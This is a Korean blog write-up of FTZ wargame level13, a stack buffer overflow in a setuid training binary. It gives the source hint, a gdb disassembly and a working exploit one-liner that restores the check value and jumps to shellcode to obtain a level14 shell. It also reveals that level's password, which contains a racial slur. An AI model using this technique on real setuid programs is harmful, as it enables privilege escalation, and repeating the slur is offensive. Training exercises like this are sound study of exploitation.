티스토리 뷰
level13도 bof 문제인 것 같다.
힌트는 다음과 같다.
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
i = 19088743
buffer는 1024
인자가 1개보다 많으면 strcpy를 통해 buf에 인자로 받은 값을 복사한다.
복사한 후, i가 0x1234567이 아니면 Warnning을 출력하고, 프로그램을 종료시킨다.
gdb로도 한번 보자.
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>: push ebp
0x080484a1 <main+1>: mov ebp,esp
0x080484a3 <main+3>: sub esp,0x418
0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567
0x080484b0 <main+16>: sub esp,0x8
0x080484b3 <main+19>: push 0xc16
0x080484b8 <main+24>: push 0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
0x080484c2 <main+34>: add esp,0x10
0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub esp,0x8
0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>: add eax,0x4
0x080484d4 <main+52>: push DWORD PTR [eax]
0x080484d6 <main+54>: lea eax,[ebp-1048]
0x080484dc <main+60>: push eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
0x080484e2 <main+66>: add esp,0x10
0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>: je 0x804850d <main+109>
0x080484ee <main+78>: sub esp,0xc
0x080484f1 <main+81>: push 0x80485a0
0x080484f6 <main+86>: call 0x8048360 <printf>
0x080484fb <main+91>: add esp,0x10
0x080484fe <main+94>: sub esp,0x8
0x08048501 <main+97>: push 0xb
0x08048503 <main+99>: push 0x0
0x08048505 <main+101>: call 0x8048380 <kill>
0x0804850a <main+106>: add esp,0x10
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
0x0804850f <main+111>: nop
End of assembler dump.
dummy가 8인 것 같다.
11,12번에서 사용했던 SHELLCODE 환경변수와 getit 코드로 환경변수의 주소를 알아냈다.
0xbffffc1e
이런식으로 Segmentation fault가 뜨는지 안뜨는지 검사하여 buffer와 dummy 의 크기를 계산한다.
결과적으로
이렇게 생겼다.
./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x1e\xfc\xff\xbf"'`
처음엔 이렇게 입력했는데 쉘이 따져도 계속 id가 level13 이길래 뭐지 하고 계속 삽질을 했다.
이유는 tmp 디렉토리에서 했기 때문..ㅎㅎㅎ
그래서 ../attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x1e\xfc\xff\xbf"'`
을 입력해 level14의 쉘을 따내고 my-pass로 패스워드를 알아냈다.
Level14 Password is "what that nigga want?".
'System > FTZ' 카테고리의 다른 글
[FTZ] level15 (0) | 2017.09.27 |
---|---|
[FTZ] level14 (0) | 2017.09.25 |
[FTZ] level12 (0) | 2017.09.20 |
[FTZ] level11 (0) | 2017.09.18 |
[FTZ] level10 (0) | 2017.09.14 |
- Total
- Today
- Yesterday
- 명령어
- Python
- java
- 0xdeadbeef
- my-pass
- wargame
- 파이썬
- Lord of SQL Injection
- ubuntu
- BOF
- lob
- c언어
- 워게임
- 웹해킹
- C
- MySQL
- ftz
- 1번
- wargame.kr
- 설치
- pwnable.kr
- Los
- attackme
- webhacking.kr
- lord of sqlinjection
- WebHacking
- 자바
- pwnable
- 우분투
- cobolt
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |